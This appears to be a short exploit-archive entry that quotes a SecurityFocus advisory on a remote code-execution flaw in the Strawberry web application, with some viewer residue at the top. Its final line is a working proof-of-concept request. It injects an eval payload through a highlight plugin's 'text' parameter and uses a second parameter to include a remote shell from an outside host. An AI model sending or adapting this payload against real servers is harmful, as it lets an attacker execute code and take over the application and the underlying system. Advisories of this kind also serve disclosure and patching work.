7 lines
No EOL
456 B
Text
7 lines
No EOL
456 B
Text
source: https://www.securityfocus.com/bid/27160/info
|
|
|
|
Strawberry is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.
|
|
|
|
A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible.
|
|
|
|
http://www.example.com/strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('www.example2.com/shell'); |